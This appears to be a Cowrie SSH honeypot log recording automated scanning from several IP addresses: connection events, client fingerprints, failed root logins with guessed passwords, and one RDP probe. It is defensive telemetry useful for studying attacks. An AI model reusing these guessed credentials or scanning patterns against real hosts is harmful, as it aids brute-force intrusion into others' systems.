{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":33336,"dst_ip":"159.203.135.109","dst_port":22,"session":"c71b95d9fe42","protocol":"ssh","message":"New connection: 109.237.96.109:33336 (159.203.135.109:22) [session: c71b95d9fe42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:25.664599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:25.669664Z","src_ip":"109.237.96.109","session":"c71b95d9fe42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:25.759199Z","src_ip":"109.237.96.109","session":"c71b95d9fe42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1123581321","message":"login attempt [root/1123581321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:26.028120Z","src_ip":"109.237.96.109","session":"c71b95d9fe42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:27.120721Z","src_ip":"109.237.96.109","session":"c71b95d9fe42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.104.184","src_port":43090,"dst_ip":"159.203.135.109","dst_port":22,"session":"91f488fc22d7","protocol":"ssh","message":"New connection: 43.134.104.184:43090 (159.203.135.109:22) [session: 91f488fc22d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:29.461171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:29.468544Z","src_ip":"43.134.104.184","session":"91f488fc22d7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:29.698332Z","src_ip":"43.134.104.184","session":"91f488fc22d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:30.649327Z","src_ip":"43.134.104.184","session":"91f488fc22d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.95.137","src_port":48980,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d7438bff27c","protocol":"ssh","message":"New connection: 168.144.95.137:48980 (10.17.0.5:22) [session: 1d7438bff27c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:30.829030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:30.834109Z","src_ip":"168.144.95.137","session":"1d7438bff27c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:31.042068Z","src_ip":"168.144.95.137","session":"1d7438bff27c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:31.882880Z","src_ip":"43.134.104.184","session":"91f488fc22d7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd1234","message":"login attempt [root/Passw0rd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:31.905927Z","src_ip":"168.144.95.137","session":"1d7438bff27c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:33.117615Z","src_ip":"168.144.95.137","session":"1d7438bff27c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.96.74.162","src_port":51610,"dst_ip":"10.17.0.5","dst_port":22,"session":"065091423c85","protocol":"ssh","message":"New connection: 103.96.74.162:51610 (10.17.0.5:22) [session: 065091423c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:33.799150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:33.804054Z","src_ip":"103.96.74.162","session":"065091423c85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:34.068808Z","src_ip":"103.96.74.162","session":"065091423c85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gpadmin","message":"login attempt [root/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:34.497308Z","src_ip":"103.96.74.162","session":"065091423c85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.112.237","src_port":52072,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b3d549b40e4","protocol":"ssh","message":"New connection: 43.134.112.237:52072 (159.203.135.109:22) [session: 8b3d549b40e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:35.375656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:35.380026Z","src_ip":"43.134.112.237","session":"8b3d549b40e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:35.624723Z","src_ip":"43.134.112.237","session":"8b3d549b40e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:35.728693Z","src_ip":"103.96.74.162","session":"065091423c85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"chenyong","message":"login attempt [root/chenyong] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:36.638399Z","src_ip":"43.134.112.237","session":"8b3d549b40e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:52:37.887090Z","src_ip":"43.134.112.237","session":"8b3d549b40e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":50076,"dst_ip":"10.17.0.5","dst_port":22,"session":"d589b1fd1531","protocol":"ssh","message":"New connection: 89.108.118.91:50076 (10.17.0.5:22) [session: d589b1fd1531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:53:14.281485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:53:14.286211Z","src_ip":"89.108.118.91","session":"d589b1fd1531","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:53:14.427248Z","src_ip":"89.108.118.91","session":"d589b1fd1531","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"v123456789","message":"login attempt [root/v123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:53:14.858757Z","src_ip":"89.108.118.91","session":"d589b1fd1531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:53:16.002879Z","src_ip":"89.108.118.91","session":"d589b1fd1531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.243.24.124","src_port":57678,"dst_ip":"10.17.0.5","dst_port":22,"session":"5404af3b3cc6","protocol":"ssh","message":"New connection: 103.243.24.124:57678 (10.17.0.5:22) [session: 5404af3b3cc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:53:23.826977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:53:23.834235Z","src_ip":"103.243.24.124","session":"5404af3b3cc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:53:24.038742Z","src_ip":"103.243.24.124","session":"5404af3b3cc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ranger123","message":"login attempt [root/ranger123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:53:24.648732Z","src_ip":"103.243.24.124","session":"5404af3b3cc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:53:25.856028Z","src_ip":"103.243.24.124","session":"5404af3b3cc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":63872,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ab270b6f3cf","protocol":"ssh","message":"New connection: 167.172.81.52:63872 (10.17.0.5:22) [session: 3ab270b6f3cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:53:43.681146Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:53:43.686228Z","src_ip":"167.172.81.52","session":"3ab270b6f3cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:53:43.694145Z","src_ip":"167.172.81.52","session":"3ab270b6f3cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.144.95.137","src_port":42624,"dst_ip":"10.17.0.5","dst_port":22,"session":"a3b8e3056d0d","protocol":"ssh","message":"New connection: 168.144.95.137:42624 (10.17.0.5:22) [session: a3b8e3056d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:53:46.433465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:53:46.437974Z","src_ip":"168.144.95.137","session":"a3b8e3056d0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:53:46.646367Z","src_ip":"168.144.95.137","session":"a3b8e3056d0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"song123","message":"login attempt [root/song123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:53:47.513268Z","src_ip":"168.144.95.137","session":"a3b8e3056d0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:53:48.725787Z","src_ip":"168.144.95.137","session":"a3b8e3056d0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.96.74.162","src_port":34448,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8b17477c7cd","protocol":"ssh","message":"New connection: 103.96.74.162:34448 (10.17.0.5:22) [session: d8b17477c7cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:54:00.843329Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:54:00.848892Z","src_ip":"103.96.74.162","session":"d8b17477c7cd","protocol":"ssh"}
